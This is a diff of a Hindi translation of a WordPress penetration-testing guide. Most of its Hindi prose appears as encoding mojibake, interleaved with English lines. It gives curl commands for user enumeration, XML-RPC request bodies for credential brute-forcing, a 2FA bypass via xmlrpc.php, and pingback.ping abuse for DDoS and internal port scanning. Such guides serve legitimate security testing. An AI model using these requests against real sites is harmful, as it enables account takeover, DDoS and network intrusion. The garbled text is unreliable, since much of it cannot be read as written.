рдкреНрд░рдХрд╛рд░ рдХреЗ рд╕рдВрдЪрд╛рд░ рдХреЛ WordPress рдХреЗ [REST API](https://developer.wordpress.org/rest-api/reference) рджреНрд╡рд╛рд░рд╛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред +- `wp-content` рдлрд╝реЛрд▓реНрдбрд░ рдореБрдЦреНрдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╣реИ рдЬрд╣рд╛рдБ plugins рдФрд░ themes рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВред +- `wp-content/uploads/` рд╡рд╣ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдкрд░ рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдХрд┐рд╕реА рднреА рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕рдВрдЧреНрд░рд╣рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +- `wp-includes/` рдпрд╣ рд╡рд╣ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдХреЛрд░ рдлрд╛рдЗрд▓реЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИрдВ, рдЬреИрд╕реЗ рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ, рдлреЙрдиреНрдЯ, JavaScript рдлрд╝рд╛рдЗрд▓реЗрдВ, рдФрд░ рд╡рд┐рдЬреЗрдЯред +- `wp-sitemap.xml` WordPress рдХреЗ рд╕рдВрд╕реНрдХрд░рдг 5.5 рдФрд░ рдЙрд╕рд╕реЗ рдКрдкрд░ рдореЗрдВ, WordPress рд╕рднреА рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдкреЛрд╕реНрдЯ рдФрд░ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░реВрдк рд╕реЗ рдХреНрд╡реЗрд░реА рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдкреЛрд╕реНрдЯ рдкреНрд░рдХрд╛рд░ рдФрд░ рдЯреИрдХреНрд╕реЛрдиреЙрдореА рдХреЗ рд╕рд╛рде рдПрдХ sitemap XML рдлрд╝рд╛рдЗрд▓ рдЬреЗрдирд░реЗрдЯ рдХрд░рддрд╛ рд╣реИред **Post exploitation** -- `wp-config.php` рдлрд╝рд╛рдЗрд▓ рдореЗрдВ WordPress рдХреЛ database рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдЬрд╛рдирдХрд╛рд░реА рд╣реЛрддреА рд╣реИ рдЬреИрд╕реЗ database рдХрд╛ рдирд╛рдо, database host, username рдФрд░ password, authentication keys рдФрд░ salts, рдФрд░ database table prefixред рдпрд╣ configuration рдлрд╝рд╛рдЗрд▓ DEBUG mode рдХреЛ activate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдЗрд╕реНрддреЗрдорд╛рд▓ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬреЛ troubleshooting рдореЗрдВ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред +- `wp-config.php` рдлрд╝рд╛рдЗрд▓ рдореЗрдВ WordPress рдХреЛ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдЬрд╛рдирдХрд╛рд░реА рд╣реЛрддреА рд╣реИ, рдЬреИрд╕реЗ рдбреЗрдЯрд╛рдмреЗрд╕ рдирд╛рдо, рдбреЗрдЯрд╛рдмреЗрд╕ рд╣реЛрд╕реНрдЯ, username рдФрд░ password, authentication keys рдФрд░ salts, рдФрд░ рдбреЗрдЯрд╛рдмреЗрд╕ рдЯреЗрдмрд▓ рдкреНрд░реАрдлрд╝рд┐рдХреНрд╕ред рдЗрд╕ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ DEBUG рдореЛрдб рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ troubleshooting рдореЗрдВ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред -### Users Permissions +### рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдиреБрдорддрд┐рдпрд╛рдБ - **Administrator** -- **Editor**: рдЕрдкрдиреЗ рдФрд░ рдЕрдиреНрдп рдХреЗ posts рдХреЛ рдкреНрд░рдХрд╛рд╢рд┐рдд рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ -- **Author**: рдЕрдкрдиреЗ рдЦреБрдж рдХреЗ posts рдХреЛ рдкреНрд░рдХрд╛рд╢рд┐рдд рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ -- **Contributor**: рдЕрдкрдиреЗ posts рд▓рд┐рдЦрддрд╛ рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдЙрдиреНрд╣реЗрдВ рдкреНрд░рдХрд╛рд╢рд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ -- **Subscriber**: рдкреЛрд╕реНрдЯ рдмреНрд░рд╛рдЙрдЬрд╝ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЕрдкрдирд╛ рдкреНрд░реЛрдлрд╛рдЗрд▓ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ +- **Editor**: рдЕрдкрдиреЗ рдФрд░ рджреВрд╕рд░реЛрдВ рдХреЗ рдкреЛрд╕реНрдЯ рдкреНрд░рдХрд╛рд╢рд┐рдд рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ +- **Author**: рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдкреЛрд╕реНрдЯ рдкреНрд░рдХрд╛рд╢рд┐рдд рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ +- **Contributor**: рдкреЛрд╕реНрдЯ рд▓рд┐рдЦрддрд╛ рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ рдкрд░ рдЙрдиреНрд╣реЗрдВ рдкреНрд░рдХрд╛рд╢рд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ +- **Subscriber**: рдкреЛрд╕реНрдЯ рдмреНрд░рд╛рдЙрдЬрд╝ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЕрдкрдиреА рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ ## **Passive Enumeration** ### **Get WordPress version** -рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк `/license.txt` рдпрд╛ `/readme.html` рдлрд╝рд╛рдЗрд▓реЗрдВ рдвреВрдБрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ +Check if you can find the files `/license.txt` or `/readme.html` -рдкреЗрдЬ рдХреЗ **source code** рдХреЗ рдЕрдВрджрд░ (рдЙрджрд╛рд╣рд░рдг [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): +Inside the **рд╕реНрд░реЛрдд рдХреЛрдб** of the page (example from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash @@ -72,46 +72,46 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### рд╕рд╛рдорд╛рдиреНрдп рддреМрд░ рдкрд░ рд╕рдВрд╕реНрдХрд░рдг рдирд┐рдХрд╛рд▓рдирд╛ +### рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рд╕рдВрд╕реНрдХрд░рдг рдирд┐рдХрд╛рд▓реЗрдВ ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -## Active enumeration +## рд╕рдХреНрд░рд┐рдп рдЕрдиреБрдХреНрд░рдордг -### Plugins and Themes +### Plugins рдФрд░ Themes -рд╢рд╛рдпрдж рдЖрдк рд╕рднреА Plugins рдФрд░ Themes рдХреЛ рдЦреЛрдЬ рдкрд╛рдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реЛрдЧрд╛ред рдЗрдиреНрд╣реЗрдВ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ **actively Brute Force a list of Plugins and Themes** рдХрд░рдирд╛ рд╣реЛрдЧрд╛ (рдЖрд╢рд╛ рд╣реИ рдХрд┐ рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдРрд╕реЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЯреВрд▓ рдореМрдЬреВрдж рд╣реИрдВ рдЬрд┐рдирдореЗрдВ рдпреЗ рд╕реВрдЪрд┐рдпрд╛рдБ рд╣реЛрддреА рд╣реИрдВ)ред +рдЖрдк рд╕рдВрднрд╡рддрдГ рд╕рднреА Plugins рдФрд░ Themes рдЦреЛрдЬ рдкрд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реЛрдВрдЧреЗред рдЙрдиреНрд╣реЗрдВ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ **actively Brute Force a list of Plugins and Themes** рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА (рдЦреБрд╢рдХрд┐рд╕реНрдорддреА рд╕реЗ рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдРрд╕реЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЯреВрд▓реНрд╕ рдореМрдЬреВрдж рд╣реИрдВ рдЬрд┐рдирдореЗрдВ рдпреЗ рд╕реВрдЪрд┐рдпрд╛рдБ рд╣реЛрддреА рд╣реИрдВ)ред -### рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ +### Users -- **ID Brute:** рдЖрдк WordPress рд╕рд╛рдЗрдЯ рд╕реЗ рд╡реИрдз рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ Brute Forcing users IDs рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ: +- **ID Brute:** Brute Forcing рджреНрд╡рд╛рд░рд╛ users IDs рдирд┐рдХрд╛рд▓ рдХрд░ рдЖрдк рдХрд┐рд╕реА WordPress рд╕рд╛рдЗрдЯ рдХреЗ рд╡реИрдз users рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -рдпрджрд┐ response рдХреЛрдб **200** рдпрд╛ **30X** рд╣реИрдВ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ id **рдорд╛рдиреНрдп** рд╣реИред рдпрджрд┐ response рдХреЛрдб **400** рд╣реИ, рддреЛ id **рдЕрдорд╛рдиреНрдп** рд╣реИред +рдпрджрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдПрдБ **200** рдпрд╛ **30X** рд╣реИрдВ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ id **рдорд╛рдиреНрдп** рд╣реИред рдпрджрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ **400** рд╣реИ, рддреЛ id **рдЕрдорд╛рдиреНрдп** рд╣реИред -- **wp-json:** рдЖрдк рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреНрд╡реЗрд░реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +- **wp-json:** рдЖрдк рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреНрд╡реЗрд░реА рдХрд░рдХреЗ рднреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` -рдПрдХ рдФрд░ `/wp-json/` endpoint рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ: +рдПрдХ рдФрд░ `/wp-json/` endpoint рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рдХрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХреЗрд╡рд▓ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ рдкреЛрд╕реНрдЯ рдХреА рд╣реИред **рд╕рд┐рд░реНрдл рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рдПрдЧреА рдЬрд┐рдирдХреЗ рд▓рд┐рдП рдпрд╣ рдлреАрдЪрд░ рд╕рдХреНрд╖рдо рд╣реИред** +Note that this endpoint only exposes users that have made a post. **рдХреЗрд╡рд▓ рдЙрди users рдХреА рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рдПрдЧреА рдЬрд┐рдирдХреЗ рд▓рд┐рдП рдпрд╣ feature рд╕рдХреНрд╖рдо рд╣реИред** -рд╕рд╛рде рд╣реА рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **/wp-json/wp/v2/pages** IP addresses рдХреЛ leak рдХрд░ рд╕рдХрддрд╛ рд╣реИред +Also note that **/wp-json/wp/v2/pages** could leak IP addresses. -- **Login username enumeration**: рдЬрдм **`/wp-login.php`** рдкрд░ рд▓реЙрдЧрд┐рди рдХрд░рддреЗ рд╕рдордп **рд╕рдВрджреЗрд╢** рдЗрд╕ рдмрд╛рдд рдХреЗ рдЕрдиреБрд╕рд╛рд░ **рдЕрд▓рдЧ** рд╣реЛрддрд╛ рд╣реИ рдХрд┐ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдореМрдЬреВрдж рд╣реИ рдпрд╛ рдирд╣реАрдВ**ред +- **Login username enumeration**: рдЬрдм **`/wp-login.php`** рдкрд░ рд▓реЙрдЧрд┐рди рдХрд░рддреЗ рд╕рдордп **message** **different** рд╣реЛрддрд╛ рд╣реИ тАФ рдпрд╣ рдЗрд╕ рдмрд╛рдд рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИ рдХрд┐ **username exists or not**ред ### XML-RPC -рдпрджрд┐ `xml-rpc.php` рд╕рдХреНрд░рд┐рдп рд╣реИ, рддреЛ рдЖрдк credentials brute-force рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдиреНрдп рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдкрд░ DoS attacks рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЖрдк рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ [using this](https://github.com/relarizky/wpxploit))ред +рдпрджрд┐ `xml-rpc.php` рд╕рдХреНрд░рд┐рдп рд╣реИ рддреЛ рдЖрдк credentials brute-force рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдиреНрдп resources рдкрд░ DoS attacks рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред (рдЖрдк рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП [using this](https://github.com/relarizky/wpxploit) рд╕реЗ automate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред To see if it is active try to access to _**/xmlrpc.php**_ and send this request: -**рдЬрд╛рдБрдЪ рдХрд░реЗрдВ** +**рдЬрд╛рдВрдЪреЗрдВ** ```html system.listMethods @@ -122,7 +122,7 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: **Credentials Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** рдпрд╛ **`metaWeblog.getUsersBlogs`** рдХреБрдЫ рдРрд╕реЗ рдореЗрдердб рд╣реИрдВ рдЬрд┐рдирдХрд╛ рдЙрдкрдпреЛрдЧ brute-force credentials рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрджрд┐ рдЖрдк рдЗрдирдореЗрдВ рд╕реЗ рдХреЛрдИ рднреА рдкрд╛ рд▓реЗрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ: +**`wp.getUserBlogs`**, **`wp.getCategories`** рдпрд╛ **`metaWeblog.getUsersBlogs`** рдРрд╕реЗ рдХреБрдЫ methods рд╣реИрдВ рдЬрд┐рдирдХрд╛ рдЙрдкрдпреЛрдЧ credentials рдХреЛ brute-force рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрджрд┐ рдЖрдк рдЗрдирдореЗрдВ рд╕реЗ рдХреЛрдИ рднреА рдкрд╛ рд▓реЗрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ: ```html wp.getUsersBlogs @@ -132,13 +132,13 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: ``` -рдпрджрд┐ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд╡реИрдз рдирд╣реАрдВ рд╣реИрдВ рддреЛ 200 рдХреЛрдб рд░рд┐рд╕реНрдкреЙрдиреНрд╕ рдХреЗ рдЕрдВрджрд░ рд╕рдВрджреЗрд╢ _"Incorrect username or password"_ рджрд┐рдЦрд╛рдИ рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдПред +рд╕рдВрджреЗрд╢ _"Incorrect username or password"_ рдПрдХ 200 code response рдХреЗ рдЕрдВрджрд░ рддрдм рджрд┐рдЦрд╛рдИ рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬрдм credentials рд╡реИрдз рдирд╣реАрдВ рд╣реИрдВред ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) -рд╕рд╣реА рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рдПрдХ рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдкрде рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛ ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +рд╕рд╣реА credentials рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рдПрдХ file рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред response рдореЗрдВ path рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛ ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html @@ -172,14 +172,14 @@ Also there is a **faster way** to brute-force credentials using **`system.multic
-**Bypass 2FA** +**2FA рдмрд╛рдпрдкрд╛рд╕** -рдпрд╣ рддрд░реАрдХрд╛ programs рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ humans рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ, рдФрд░ рдкреБрд░рд╛рдирд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрд╣ 2FA рдХреЛ рд╕рдкреЛрд░реНрдЯ рдирд╣реАрдВ рдХрд░рддрд╛ред рддреЛ, рдЕрдЧрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рд╡реИрдз creds рд╣реИрдВ рдкрд░ рдореБрдЦреНрдп рдкреНрд░рд╡реЗрд╢ 2FA рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ, **рддреЛ рдЖрдк xmlrpc.php рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрди creds рдХреЗ рд╕рд╛рде 2FA рдмрд╛рдЗрдкрд╛рд╕ рдХрд░рддреЗ рд╣реБрдП login рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ**ред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк console рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЬреЛ рд╕рднреА actions рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рд╡реЗ рд╕рднреА рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реЛрдВрдЧреЗ, рд▓реЗрдХрд┐рди рдЖрдк рдлрд┐рд░ рднреА RCE рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕рд╛ Ippsec рдЗрд╕реЗ [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) рдореЗрдВ рд╕рдордЭрд╛рддреЗ рд╣реИрдВред +рдпрд╣ рддрд░реАрдХрд╛ рдкреНрд░реЛрдЧреНрд░рд╛рдореНрд╕ рдХреЗ рд▓рд┐рдП рд╣реИ рди рдХрд┐ рдЗрдВрд╕рд╛рдиреЛрдВ рдХреЗ рд▓рд┐рдП, рдФрд░ рдкреБрд░рд╛рдирд╛ рд╣реЛрдиреЗ рдХреЗ рдХрд╛рд░рдг рдпрд╣ 2FA рдХреЛ рд╕рдкреЛрд░реНрдЯ рдирд╣реАрдВ рдХрд░рддрд╛ред рдЗрд╕рд▓рд┐рдП, рдЕрдЧрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рд╡реИрдз рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд╣реИрдВ рдкрд░ рдореБрдЦреНрдп рд▓реЙрдЧрд┐рди 2FA рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ, **рдЖрдк xmlrpc.php рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд╕реЗ 2FA рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддреЗ рд╣реБрдП рд▓реЙрдЧрд┐рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**ред рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ рдЖрдк рдХрдВрд╕реЛрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЬреЛ рд╕рднреА рдХреНрд░рд┐рдпрд╛рдПрдБ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рд╡реЗ рдпрд╣рд╛рдБ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реЛрдВрдЧреА, рдкрд░ рдЖрдк рдлрд┐рд░ рднреА RCE рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕рд╛ Ippsec рдиреЗ [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) рдореЗрдВ рд╕рдордЭрд╛рдпрд╛ рд╣реИ **DDoS or port scanning** -рдЕрдЧрд░ рдЖрдк list рдХреЗ рдЕрдВрджрд░ _**pingback.ping**_ method рдкрд╛ рд▓реЗрддреЗ рд╣реИрдВ рддреЛ рдЖрдк Wordpress рдХреЛ рдХрд┐рд╕реА рднреА host/port рдкрд░ arbitrary request рднреЗрдЬрд╡рд╛ рд╕рдХрддреЗ рд╣реИрдВред\ -рдЗрд╕реЗ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░рдХреЗ рдЖрдк **рд╣рдЬрд╝рд╛рд░реЛрдВ** Wordpress **sites** рдХреЛ рдХрд┐рд╕реА рдПрдХ **location** рдХреЛ **access** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣ рд╕рдХрддреЗ рд╣реИрдВ (рдЬрд┐рд╕рд╕реЗ рдЙрд╕ location рдкрд░ **DDoS** рд╣реЛ рд╕рдХрддрд╛ рд╣реИ) рдпрд╛ рдЖрдк рдЗрд╕реЗ **Wordpress** рдХреЛ рдХрд┐рд╕реА internal **network** рдХреЛ **scan** рдХрд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЖрдк рдХрд┐рд╕реА рднреА рдкреЛрд░реНрдЯ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддреЗ рд╣реИрдВ)ред +If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\ +This can be used to ask **рд╣рдЬрд╝рд╛рд░реЛрдВ** of Wordpress **рд╕рд╛рдЗрдЯреНрд╕** to **рдПрдХ рддрдХрд╛рдБрдЪ** (one **location**) рдХреЛ **рдПрдХреНрд╕реЗрд╕** рдХрд░рдиреЗ рдХреЛ рдХрд╣реЗрдВ (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** рдХреЛ **рд╕реНрдХреИрди** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рдЖрдВрддрд░рд┐рдХ **рдиреЗрдЯрд╡рд░реНрдХ** рдХреЛ рдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЖрдк рдХреЛрдИ рднреА рдкреЛрд░реНрдЯ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред ```html pingback.ping @@ -191,9 +191,9 @@ Also there is a **faster way** to brute-force credentials using **`system.multic ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) -рдпрджрд┐ рдЖрдкрдХреЛ **faultCode** рдХрд╛ рдорд╛рди **0** рд╕реЗ рдмрдбрд╝рд╛ (17) 